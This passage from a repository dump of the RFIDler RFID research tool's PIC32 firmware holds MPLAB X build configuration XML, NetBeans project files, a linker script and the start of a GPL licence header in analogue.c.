key=\"exclude-floating-point\" value=\"false\"/>\n        <property key=\"extra-include-directories\"\n                  value=\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include;/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB;/opt/microchip/xc32/v1.40/pic32-libs/include;./include\"/>\n        <property key=\"generate-16-bit-code\" value=\"false\"/>\n        <property key=\"generate-micro-compressed-code\" value=\"false\"/>\n        <property key=\"isolate-each-function\" value=\"false\"/>\n        <property key=\"make-warnings-into-errors\" value=\"false\"/>\n        <property key=\"optimization-level\" value=\"\"/>\n        <property key=\"place-data-into-section\" value=\"false\"/>\n        <property key=\"post-instruction-scheduling\" value=\"default\"/>\n        <property key=\"pre-instruction-scheduling\" value=\"default\"/>\n        <property key=\"preprocessor-macros\"\n                  value=\"VERSION=`git rev-list HEAD --count`;_SUPPRESS_PLIB_WARNING=1;_DISABLE_OPENADC10_CONFIGPORT_WARNING\"/>\n        <property key=\"strict-ansi\" value=\"false\"/>\n        <property key=\"support-ansi\" value=\"false\"/>\n        <property key=\"use-cci\" value=\"false\"/>\n        <property key=\"use-iar\" value=\"false\"/>\n        <property key=\"use-indirect-calls\" value=\"false\"/>\n      </C32>\n      <C32-AR>\n        <property key=\"additional-options-chop-files\" value=\"false\"/>\n      </C32-AR>\n      <C32-AS>\n        <property key=\"assembler-symbols\" value=\"\"/>\n        <property key=\"enable-symbols\" value=\"true\"/>\n        <property key=\"exclude-floating-point-library\" value=\"false\"/>\n        <property key=\"expand-macros\" value=\"false\"/>\n        <property key=\"extra-include-directories-for-assembler\" value=\"\"/>\n        <property key=\"extra-include-directories-for-preprocessor\" value=\"\"/>\n        <property key=\"false-conditionals\" value=\"false\"/>\n        <property key=\"keep-locals\" value=\"false\"/>\n        <property key=\"list-assembly\" value=\"false\"/>\n        <property key=\"list-source\" value=\"false\"/>\n        <property key=\"list-symbols\" value=\"false\"/>\n        <property key=\"oXC32asm-list-to-file\" value=\"false\"/>\n        <property key=\"omit-debug-dirs\" value=\"false\"/>\n        <property key=\"omit-forms\" value=\"false\"/>\n        <property key=\"preprocessor-macros\" value=\"\"/>\n        <property key=\"warning-level\" value=\"\"/>\n      </C32-AS>\n      <C32-LD>\n        <property key=\"additional-options-use-response-files\" value=\"false\"/>\n        <property key=\"enable-check-sections\" value=\"false\"/>\n        <property key=\"exclude-floating-point-library\" value=\"false\"/>\n        <property key=\"exclude-standard-libraries\" value=\"false\"/>\n        <property key=\"extra-lib-directories\" value=\"\"/>\n        <property key=\"fill-flash-options-addr\" value=\"\"/>\n        <property key=\"fill-flash-options-const\" value=\"\"/>\n        <property key=\"fill-flash-options-how\" value=\"0\"/>\n        <property key=\"fill-flash-options-inc-const\" value=\"1\"/>\n        <property key=\"fill-flash-options-increment\" value=\"\"/>\n        <property key=\"fill-flash-options-seq\" value=\"\"/>\n        <property key=\"fill-flash-options-what\" value=\"0\"/>\n        <property key=\"generate-16-bit-code\" value=\"false\"/>\n        <property key=\"generate-cross-reference-file\" value=\"false\"/>\n        <property key=\"generate-micro-compressed-code\" value=\"false\"/>\n        <property key=\"heap-size\" value=\"\"/>\n        <property key=\"input-libraries\" value=\"\"/>\n        <property key=\"linker-symbols\" value=\"\"/>\n        <property key=\"map-file\" value=\"\"/>\n        <property key=\"no-startup-files\" value=\"false\"/>\n        <property key=\"oXC32ld-extra-opts\" value=\"\"/>\n        <property key=\"optimization-level\" value=\"\"/>\n        <property key=\"preprocessor-macros\" value=\"\"/>\n        <property key=\"remove-unused-sections\" value=\"false\"/>\n        <property key=\"report-memory-usage\" value=\"false\"/>\n        <property key=\"stack-size\" value=\"\"/>\n        <property key=\"symbol-stripping\" value=\"\"/>\n        <property key=\"trace-symbols\" value=\"\"/>\n        <property key=\"warn-section-align\" value=\"false\"/>\n      </C32-LD>\n      <C32CPP>\n        <property key=\"additional-warnings\" value=\"false\"/>\n        <property key=\"check-new\" value=\"false\"/>\n        <property key=\"eh-specs\" value=\"true\"/>\n        <property key=\"enable-app-io\" value=\"false\"/>\n        <property key=\"enable-omit-frame-pointer\" value=\"false\"/>\n        <property key=\"enable-symbols\" value=\"true\"/>\n        <property key=\"enable-unroll-loops\" value=\"false\"/>\n        <property key=\"exceptions\" value=\"true\"/>\n        <property key=\"exclude-floating-point\" value=\"false\"/>\n        <property key=\"extra-include-directories\" value=\"\"/>\n        <property key=\"generate-16-bit-code\" value=\"false\"/>\n        <property key=\"generate-micro-compressed-code\" value=\"false\"/>\n        <property key=\"isolate-each-function\" value=\"false\"/>\n        <property key=\"make-warnings-into-errors\" value=\"false\"/>\n        <property key=\"optimization-level\" value=\"\"/>\n        <property key=\"place-data-into-section\" value=\"false\"/>\n        <property key=\"post-instruction-scheduling\" value=\"default\"/>\n        <property key=\"pre-instruction-scheduling\" value=\"default\"/>\n        <property key=\"preprocessor-macros\" value=\"\"/>\n        <property key=\"rtti\" value=\"true\"/>\n        <property key=\"strict-ansi\" value=\"false\"/>\n        <property key=\"use-cci\" value=\"false\"/>\n        <property key=\"use-iar\" value=\"false\"/>\n        <property key=\"use-indirect-calls\" value=\"false\"/>\n      </C32CPP>\n      <C32Global>\n        <property key=\"common-include-directories\" value=\"\"/>\n        <property key=\"gp-relative-option\" value=\"\"/>\n        <property key=\"legacy-libc\" value=\"false\"/>\n        <property key=\"relaxed-math\" value=\"false\"/>\n        <property key=\"save-temps\" value=\"false\"/>\n        <property key=\"wpo-lto\" value=\"false\"/>\n      </C32Global>\n      <PK3OBPlatformTool>\n        <property key=\"AutoSelectMemRanges\" value=\"auto\"/>\n        <property key=\"SecureSegment.SegmentProgramming\" value=\"FullChipProgramming\"/>\n        <property key=\"ToolFirmwareFilePath\"\n                  value=\"Press to browse for a specific firmware version\"/>\n        <property key=\"ToolFirmwareOption.UseLatestFirmware\" value=\"true\"/>\n        <property key=\"memories.bootflash\" value=\"true\"/>\n        <property key=\"memories.configurationmemory\" value=\"true\"/>\n        <property key=\"memories.dataflash\" value=\"true\"/>\n        <property key=\"memories.eeprom\" value=\"false\"/>\n        <property key=\"memories.id\" value=\"false\"/>\n        <property key=\"memories.programmemory\" value=\"true\"/>\n        <property key=\"memories.programmemory.end\" value=\"0x1d07ffff\"/>\n        <property key=\"memories.programmemory.start\" value=\"0x1d000000\"/>\n        <property key=\"memories.userotp\" value=\"true\"/>\n        <property key=\"poweroptions.powerenable\" value=\"false\"/>\n        <property key=\"programoptions.eraseb4program\" value=\"true\"/>\n        <property key=\"programoptions.preservedataflash\" value=\"false\"/>\n        <property key=\"programoptions.preserveeeprom\" value=\"false\"/>\n        <property key=\"programoptions.preserveprogramrange\" value=\"false\"/>\n        <property key=\"programoptions.preserveprogramrange.end\" value=\"0x1d0001ff\"/>\n        <property key=\"programoptions.preserveprogramrange.start\" value=\"0x1d000000\"/>\n        <property key=\"programoptions.usehighvoltageonmclr\" value=\"false\"/>\n        <property key=\"programoptions.uselvpprogramming\" value=\"false\"/>\n        <property key=\"voltagevalue\" value=\"3.25\"/>\n      </PK3OBPlatformTool>\n      <item path=\"procdefs.ld\" ex=\"true\" overriding=\"false\">\n        <C32>\n        </C32>\n        <C32-AR>\n        </C32-AR>\n        <C32-AS>\n        </C32-AS>\n        <C32-LD>\n        </C32-LD>\n        <C32CPP>\n        </C32CPP>\n        <C32Global>\n        </C32Global>\n      </item>\n    </conf>\n    <conf name=\"debug\" type=\"2\">\n      <toolsSet>\n        <developmentServer>localhost</developmentServer>\n        <targetDevice>PIC32MX795F512L</targetDevice>\n        <targetHeader></targetHeader>\n        <targetPluginBoard></targetPluginBoard>\n        <platformTool>PICkit3PlatformTool</platformTool>\n        <languageToolchain>XC32</languageToolchain>\n        <languageToolchainVersion>1.40</languageToolchainVersion>\n        <platform>2</platform>\n      </toolsSet>\n      <compileType>\n        <linkerTool>\n          <linkerLibItems>\n            <linkerLibFileItem>/opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a</linkerLibFileItem>\n          </linkerLibItems>\n        </linkerTool>\n        <archiverTool>\n        </archiverTool>\n        <loading>\n          <useAlternateLoadableFile>false</useAlternateLoadableFile>\n          <parseOnProdLoad>true</parseOnProdLoad>\n          <alternateLoadableFile></alternateLoadableFile>\n        </loading>\n      </compileType>\n      <makeCustomizationType>\n        <makeCustomizationPreStepEnabled>false</makeCustomizationPreStepEnabled>\n        <makeCustomizationPreStep></makeCustomizationPreStep>\n        <makeCustomizationPostStepEnabled>false</makeCustomizationPostStepEnabled>\n        <makeCustomizationPostStep></makeCustomizationPostStep>\n        <makeCustomizationPutChecksumInUserID>false</makeCustomizationPutChecksumInUserID>\n        <makeCustomizationEnableLongLines>false</makeCustomizationEnableLongLines>\n        <makeCustomizationNormalizeHexFile>false</makeCustomizationNormalizeHexFile>\n      </makeCustomizationType>\n      <item path=\"../../../linux-support/71-rfidler-lf-cdc-blacklist.rules\"\n            ex=\"true\"\n            overriding=\"false\">\n        <C32>\n        </C32>\n        <C32-AR>\n        </C32-AR>\n        <C32-AS>\n        </C32-AS>\n        <C32-LD>\n        </C32-LD>\n        <C32CPP>\n        </C32CPP>\n        <C32Global>\n        </C32Global>\n      </item>\n      <item path=\"../../../windows driver/inf/rfidlercdc.cat\"\n            ex=\"true\"\n            overriding=\"false\">\n        <C32>\n        </C32>\n        <C32-AR>\n        </C32-AR>\n        <C32-AS>\n        </C32-AS>\n        <C32-LD>\n        </C32-LD>\n        <C32CPP>\n        </C32CPP>\n        <C32Global>\n        </C32Global>\n      </item>\n      <item path=\"../../../windows driver/inf/rfidlercdc.inf\"\n            ex=\"true\"\n            overriding=\"false\">\n        <C32>\n        </C32>\n        <C32-AR>\n        </C32-AR>\n        <C32-AS>\n        </C32-AS>\n        <C32-LD>\n        </C32-LD>\n        <C32CPP>\n        </C32CPP>\n        <C32Global>\n        </C32Global>\n      </item>\n      <C32>\n        <property key=\"additional-warnings\" value=\"false\"/>\n        <property key=\"enable-app-io\" value=\"false\"/>\n        <property key=\"enable-omit-frame-pointer\" value=\"false\"/>\n        <property key=\"enable-symbols\" value=\"true\"/>\n        <property key=\"enable-unroll-loops\" value=\"false\"/>\n        <property key=\"exclude-floating-point\" value=\"false\"/>\n        <property key=\"extra-include-directories\"\n                  value=\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include;/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB;/opt/microchip/xc32/v1.40/pic32-libs/include;./include\"/>\n        <property key=\"generate-16-bit-code\" value=\"false\"/>\n        <property key=\"generate-micro-compressed-code\" value=\"false\"/>\n        <property key=\"isolate-each-function\" value=\"false\"/>\n        <property key=\"make-warnings-into-errors\" value=\"false\"/>\n        <property key=\"optimization-level\" value=\"\"/>\n        <property key=\"place-data-into-section\" value=\"true\"/>\n        <property key=\"post-instruction-scheduling\" value=\"default\"/>\n        <property key=\"pre-instruction-scheduling\" value=\"default\"/>\n        <property key=\"preprocessor-macros\"\n                  value=\"RFIDLER_DEBUG;VERSION=`git rev-list HEAD --count`;_SUPPRESS_PLIB_WARNING=1;_DISABLE_OPENADC10_CONFIGPORT_WARNING\"/>\n        <property key=\"strict-ansi\" value=\"false\"/>\n        <property key=\"support-ansi\" value=\"false\"/>\n        <property key=\"use-cci\" value=\"false\"/>\n        <property key=\"use-iar\" value=\"false\"/>\n        <property key=\"use-indirect-calls\" value=\"false\"/>\n      </C32>\n      <C32-AR>\n        <property key=\"additional-options-chop-files\" value=\"false\"/>\n      </C32-AR>\n      <C32-AS>\n        <property key=\"assembler-symbols\" value=\"\"/>\n        <property key=\"enable-symbols\" value=\"true\"/>\n        <property key=\"exclude-floating-point-library\" value=\"false\"/>\n        <property key=\"expand-macros\" value=\"false\"/>\n        <property key=\"extra-include-directories-for-assembler\" value=\"\"/>\n        <property key=\"extra-include-directories-for-preprocessor\" value=\"\"/>\n        <property key=\"false-conditionals\" value=\"false\"/>\n        <property key=\"keep-locals\" value=\"false\"/>\n        <property key=\"list-assembly\" value=\"false\"/>\n        <property key=\"list-source\" value=\"false\"/>\n        <property key=\"list-symbols\" value=\"false\"/>\n        <property key=\"oXC32asm-list-to-file\" value=\"false\"/>\n        <property key=\"omit-debug-dirs\" value=\"false\"/>\n        <property key=\"omit-forms\" value=\"false\"/>\n        <property key=\"preprocessor-macros\" value=\"\"/>\n        <property key=\"warning-level\" value=\"\"/>\n      </C32-AS>\n      <C32-LD>\n        <property key=\"additional-options-use-response-files\" value=\"false\"/>\n        <property key=\"enable-check-sections\" value=\"false\"/>\n        <property key=\"exclude-floating-point-library\" value=\"false\"/>\n        <property key=\"exclude-standard-libraries\" value=\"false\"/>\n        <property key=\"extra-lib-directories\" value=\"\"/>\n        <property key=\"fill-flash-options-addr\" value=\"\"/>\n        <property key=\"fill-flash-options-const\" value=\"\"/>\n        <property key=\"fill-flash-options-how\" value=\"0\"/>\n        <property key=\"fill-flash-options-inc-const\" value=\"1\"/>\n        <property key=\"fill-flash-options-increment\" value=\"\"/>\n        <property key=\"fill-flash-options-seq\" value=\"\"/>\n        <property key=\"fill-flash-options-what\" value=\"0\"/>\n        <property key=\"generate-16-bit-code\" value=\"false\"/>\n        <property key=\"generate-cross-reference-file\" value=\"false\"/>\n        <property key=\"generate-micro-compressed-code\" value=\"false\"/>\n        <property key=\"heap-size\" value=\"\"/>\n        <property key=\"input-libraries\" value=\"\"/>\n        <property key=\"linker-symbols\" value=\"\"/>\n        <property key=\"map-file\" value=\"&quot;${DISTDIR}/${IMAGE_TYPE}.map&quot;\"/>\n        <property key=\"no-startup-files\" value=\"false\"/>\n        <property key=\"oXC32ld-extra-opts\" value=\"\"/>\n        <property key=\"optimization-level\" value=\"\"/>\n        <property key=\"preprocessor-macros\" value=\"\"/>\n        <property key=\"remove-unused-sections\" value=\"true\"/>\n        <property key=\"report-memory-usage\" value=\"false\"/>\n        <property key=\"stack-size\" value=\"\"/>\n        <property key=\"symbol-stripping\" value=\"\"/>\n        <property key=\"trace-symbols\" value=\"\"/>\n        <property key=\"warn-section-align\" value=\"false\"/>\n      </C32-LD>\n      <C32CPP>\n        <property key=\"additional-warnings\" value=\"false\"/>\n        <property key=\"check-new\" value=\"false\"/>\n        <property key=\"eh-specs\" value=\"true\"/>\n        <property key=\"enable-app-io\" value=\"false\"/>\n        <property key=\"enable-omit-frame-pointer\" value=\"false\"/>\n        <property key=\"enable-symbols\" value=\"true\"/>\n        <property key=\"enable-unroll-loops\" value=\"false\"/>\n        <property key=\"exceptions\" value=\"true\"/>\n        <property key=\"exclude-floating-point\" value=\"false\"/>\n        <property key=\"extra-include-directories\" value=\"\"/>\n        <property key=\"generate-16-bit-code\" value=\"false\"/>\n        <property key=\"generate-micro-compressed-code\" value=\"false\"/>\n        <property key=\"isolate-each-function\" value=\"false\"/>\n        <property key=\"make-warnings-into-errors\" value=\"false\"/>\n        <property key=\"optimization-level\" value=\"\"/>\n        <property key=\"place-data-into-section\" value=\"false\"/>\n        <property key=\"post-instruction-scheduling\" value=\"default\"/>\n        <property key=\"pre-instruction-scheduling\" value=\"default\"/>\n        <property key=\"preprocessor-macros\" value=\"\"/>\n        <property key=\"rtti\" value=\"true\"/>\n        <property key=\"strict-ansi\" value=\"false\"/>\n        <property key=\"use-cci\" value=\"false\"/>\n        <property key=\"use-iar\" value=\"false\"/>\n        <property key=\"use-indirect-calls\" value=\"false\"/>\n      </C32CPP>\n      <C32Global>\n        <property key=\"common-include-directories\" value=\"\"/>\n        <property key=\"gp-relative-option\" value=\"\"/>\n        <property key=\"legacy-libc\" value=\"false\"/>\n        <property key=\"relaxed-math\" value=\"false\"/>\n        <property key=\"save-temps\" value=\"false\"/>\n        <property key=\"wpo-lto\" value=\"false\"/>\n      </C32Global>\n      <PICkit3PlatformTool>\n        <property key=\"ADC 1\" value=\"true\"/>\n        <property key=\"AutoSelectMemRanges\" value=\"auto\"/>\n        <property key=\"CAN1\" value=\"true\"/>\n        <property key=\"CAN2\" value=\"true\"/>\n        <property key=\"CHANGE NOTICE\" value=\"true\"/>\n        <property key=\"COMPARATOR\" value=\"true\"/>\n        <property key=\"DMA\" value=\"true\"/>\n        <property key=\"ETHERNET CONTROLLER\" value=\"true\"/>\n        <property key=\"Freeze All Other Peripherals\" value=\"true\"/>\n        <property key=\"I2C1\" value=\"true\"/>\n        <property key=\"I2C2\" value=\"true\"/>\n        <property key=\"I2C3\" value=\"true\"/>\n        <property key=\"I2C4\" value=\"true\"/>\n        <property key=\"I2C5\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 1\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 2\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 3\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 4\" value=\"true\"/>\n        <property key=\"INPUT CAPTURE 5\" value=\"true\"/>\n        <property key=\"INTERRUPT CONTROL\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 1\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 2\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 3\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 4\" value=\"true\"/>\n        <property key=\"OUTPUT COMPARE 5\" value=\"true\"/>\n        <property key=\"PARALLEL MASTER/SLAVE PORT\" value=\"true\"/>\n        <property key=\"REAL TIME CLOCK\" value=\"true\"/>\n        <property key=\"SPI 1\" value=\"true\"/>\n        <property key=\"SPI 2\" value=\"true\"/>\n        <property key=\"SPI 3\" value=\"true\"/>\n        <property key=\"SPI 4\" value=\"true\"/>\n        <property key=\"SecureSegment.SegmentProgramming\" value=\"FullChipProgramming\"/>\n        <property key=\"TIMER1\" value=\"true\"/>\n        <property key=\"TIMER2\" value=\"true\"/>\n        <property key=\"TIMER3\" value=\"true\"/>\n        <property key=\"TIMER4\" value=\"true\"/>\n        <property key=\"TIMER5\" value=\"true\"/>\n        <property key=\"ToolFirmwareFilePath\"\n                  value=\"Press to browse for a specific firmware version\"/>\n        <property key=\"ToolFirmwareOption.UseLatestFirmware\" value=\"true\"/>\n        <property key=\"UART1\" value=\"true\"/>\n        <property key=\"UART2\" value=\"true\"/>\n        <property key=\"UART3\" value=\"true\"/>\n        <property key=\"UART4\" value=\"true\"/>\n        <property key=\"UART5\" value=\"true\"/>\n        <property key=\"UART6\" value=\"true\"/>\n        <property key=\"USB\" value=\"true\"/>\n        <property key=\"hwtoolclock.frcindebug\" value=\"false\"/>\n        <property key=\"memories.aux\" value=\"false\"/>\n        <property key=\"memories.bootflash\" value=\"true\"/>\n        <property key=\"memories.configurationmemory\" value=\"true\"/>\n        <property key=\"memories.configurationmemory2\" value=\"true\"/>\n        <property key=\"memories.dataflash\" value=\"true\"/>\n        <property key=\"memories.eeprom\" value=\"true\"/>\n        <property key=\"memories.flashdata\" value=\"true\"/>\n        <property key=\"memories.id\" value=\"true\"/>\n        <property key=\"memories.programmemory\" value=\"true\"/>\n        <property key=\"memories.programmemory.end\" value=\"0x1d07ffff\"/>\n        <property key=\"memories.programmemory.partition2\" value=\"true\"/>\n        <property key=\"memories.programmemory.partition2.end\"\n                  value=\"${memories.programmemory.partition2.end.value}\"/>\n        <property key=\"memories.programmemory.partition2.start\"\n                  value=\"${memories.programmemory.partition2.start.value}\"/>\n        <property key=\"memories.programmemory.start\" value=\"0x1d000000\"/>\n        <property key=\"poweroptions.powerenable\" value=\"false\"/>\n        <property key=\"programmertogo.imagename\" value=\"\"/>\n        <property key=\"programoptions.donoteraseauxmem\" value=\"false\"/>\n        <property key=\"programoptions.eraseb4program\" value=\"true\"/>\n        <property key=\"programoptions.pgmspeed\" value=\"2\"/>\n        <property key=\"programoptions.preservedataflash\" value=\"false\"/>\n        <property key=\"programoptions.preserveeeprom\" value=\"false\"/>\n        <property key=\"programoptions.preserveprogramrange\" value=\"false\"/>\n        <property key=\"programoptions.preserveprogramrange.end\" value=\"0x1d07ffff\"/>\n        <property key=\"programoptions.preserveprogramrange.start\" value=\"0x1d000000\"/>\n        <property key=\"programoptions.preserveuserid\" value=\"false\"/>\n        <property key=\"programoptions.programcalmem\" value=\"false\"/>\n        <property key=\"programoptions.programuserotp\" value=\"false\"/>\n        <property key=\"programoptions.testmodeentrymethod\" value=\"VPPFirst\"/>\n        <property key=\"programoptions.usehighvoltageonmclr\" value=\"false\"/>\n        <property key=\"programoptions.uselvpprogramming\" value=\"false\"/>\n        <property key=\"voltagevalue\" value=\"3.25\"/>\n      </PICkit3PlatformTool>\n      <item path=\"procdefs.ld\" ex=\"true\" overriding=\"false\">\n        <C32>\n        </C32>\n        <C32-AR>\n        </C32-AR>\n        <C32-AS>\n        </C32-AS>\n        <C32-LD>\n        </C32-LD>\n        <C32CPP>\n        </C32CPP>\n        <C32Global>\n        </C32Global>\n      </item>\n    </conf>\n  </confs>\n</configurationDescriptor>\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/private/configurations.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configurationDescriptor version=\"62\">\n  <projectmakefile>Makefile</projectmakefile>\n  <defaultConf>1</defaultConf>\n  <confs>\n    <conf name=\"default\" type=\"2\">\n      <platformToolSN></platformToolSN>\n      <languageToolchainDir>/opt/microchip/xc32/v1.40/bin</languageToolchainDir>\n      <mdbdebugger version=\"1\">\n        <placeholder1>place holder 1</placeholder1>\n        <placeholder2>place holder 2</placeholder2>\n      </mdbdebugger>\n      <runprofile version=\"6\">\n        <args></args>\n        <rundir></rundir>\n        <buildfirst>true</buildfirst>\n        <console-type>0</console-type>\n        <terminal-type>0</terminal-type>\n        <remove-instrumentation>0</remove-instrumentation>\n        <environment>\n        </environment>\n      </runprofile>\n    </conf>\n    <conf name=\"debug\" type=\"2\">\n      <platformToolSN></platformToolSN>\n      <languageToolchainDir>/opt/microchip/xc32/v1.40/bin</languageToolchainDir>\n      <mdbdebugger version=\"1\">\n        <placeholder1>place holder 1</placeholder1>\n        <placeholder2>place holder 2</placeholder2>\n      </mdbdebugger>\n      <runprofile version=\"6\">\n        <args></args>\n        <rundir></rundir>\n        <buildfirst>true</buildfirst>\n        <console-type>0</console-type>\n        <terminal-type>0</terminal-type>\n        <remove-instrumentation>0</remove-instrumentation>\n        <environment>\n        </environment>\n      </runprofile>\n    </conf>\n  </confs>\n</configurationDescriptor>\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/private/private.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project-private xmlns=\"http://www.netbeans.org/ns/project-private/1\">\n    <editor-bookmarks xmlns=\"http://www.netbeans.org/ns/editor-bookmarks/1\"/>\n    <editor-bookmarks xmlns=\"http://www.netbeans.org/ns/editor-bookmarks/2\" lastBookmarkId=\"0\"/>\n    <open-files xmlns=\"http://www.netbeans.org/ns/projectui-open-files/2\">\n        <group>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/em.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/hitag.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/rfidler.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/main.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/emulate.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/q5.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/vtag.c</file>\n            <file>file:/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart%20Card/SCpic32.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/util.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/tags.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/paxton.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/t55x7.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/unique.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/tags.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/em.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/uid.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/q5.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/src/util.c</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/unique.h</file>\n            <file>file:/home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/include/t55x7.h</file>\n        </group>\n    </open-files>\n</project-private>\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/project.properties",
    "content": ""
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/project.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://www.netbeans.org/ns/project/1\">\n    <type>com.microchip.mplab.nbide.embedded.makeproject</type>\n    <configuration>\n        <data xmlns=\"http://www.netbeans.org/ns/make-project/1\">\n            <name>RFIDler</name>\n            <creation-uuid>1b02b4c3-b74e-47ce-8459-c4fadd4fa09d</creation-uuid>\n            <make-project-type>0</make-project-type>\n            <c-extensions>c</c-extensions>\n            <cpp-extensions/>\n            <header-extensions>h</header-extensions>\n            <sourceEncoding>ISO-8859-1</sourceEncoding>\n            <asminc-extensions/>\n            <make-dep-projects/>\n        </data>\n    </configuration>\n</project>\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/procdefs.ld",
    "content": "/*************************************************************************\r\n * Processor-specific object file.  Contains SFR definitions.\r\n *************************************************************************/\r\nINPUT(\"processor.o\")\r\n_ramfunc_begin = 0;\r\n\r\n/*************************************************************************\r\n * For interrupt vector handling\r\n *************************************************************************/\r\nPROVIDE(_vector_spacing = 0x00000001);\r\n_ebase_address  = 0x9D005000;\r\n\r\n/*************************************************************************\r\n * Memory Address Equates\r\n *************************************************************************/\r\n_RESET_ADDR              = 0x9D006000;\r\n_BEV_EXCPT_ADDR          = 0x9D006380;\r\n_DBG_EXCPT_ADDR          = 0x9D006480;\r\n_DBG_CODE_ADDR           = 0xBFC02000;\r\n_DBG_CODE_SIZE           = 0xFF0     ;\r\n_GEN_EXCPT_ADDR          = _ebase_address + 0x180;\r\n\r\n/*************************************************************************\r\n * Memory Regions\r\n *\r\n * Memory regions without attributes cannot be used for orphaned sections.\r\n * Only sections specifically assigned to these regions can be allocated\r\n * into these regions.\r\n *************************************************************************/\r\nMEMORY\r\n{\r\n  kseg0_program_mem    (rx)  : ORIGIN = 0x9D006E00, LENGTH = 0x79200\r\n  kseg0_boot_mem             : ORIGIN = 0x9D006490, LENGTH = 0x970\r\n  exception_mem              : ORIGIN = 0x9D005000, LENGTH = 0x1000\r\n  kseg1_boot_mem             : ORIGIN = 0x9D006000, LENGTH = 0x490\r\n  debug_exec_mem             : ORIGIN = 0xBFC02000, LENGTH = 0xFF0\r\n  config3                    : ORIGIN = 0xBFC02FF0, LENGTH = 0x4\r\n  config2                    : ORIGIN = 0xBFC02FF4, LENGTH = 0x4\r\n  config1                    : ORIGIN = 0xBFC02FF8, LENGTH = 0x4\r\n  config0                    : ORIGIN = 0xBFC02FFC, LENGTH = 0x4\r\n\r\n  boot_software_key          : ORIGIN = 0xA0000000, LENGTH = 0x4\r\n  kseg1_data_mem       (w!x) : ORIGIN = 0xA0000004, LENGTH = 0x7F00\r\n  sfrs                       : ORIGIN = 0xBF800000, LENGTH = 0x100000\r\n  configsfrs                 : ORIGIN = 0xBFC02FF0, LENGTH = 0x10\r\n}\r\n\r\nSECTIONS\r\n{\r\n  .boot_software_key : {\r\n    KEEP(*(.boot_software_key))\r\n  } > boot_software_key\r\n  \r\n  .config_BFC02FF0 : {\r\n    KEEP(*(.config_BFC02FF0))\r\n  } > config3\r\n  .config_BFC02FF4 : {\r\n    KEEP(*(.config_BFC02FF4))\r\n  } > config2\r\n  .config_BFC02FF8 : {\r\n    KEEP(*(.config_BFC02FF8))\r\n  } > config1\r\n  .config_BFC02FFC : {\r\n    KEEP(*(.config_BFC02FFC))\r\n  } > config0\r\n}\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/analogue.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n 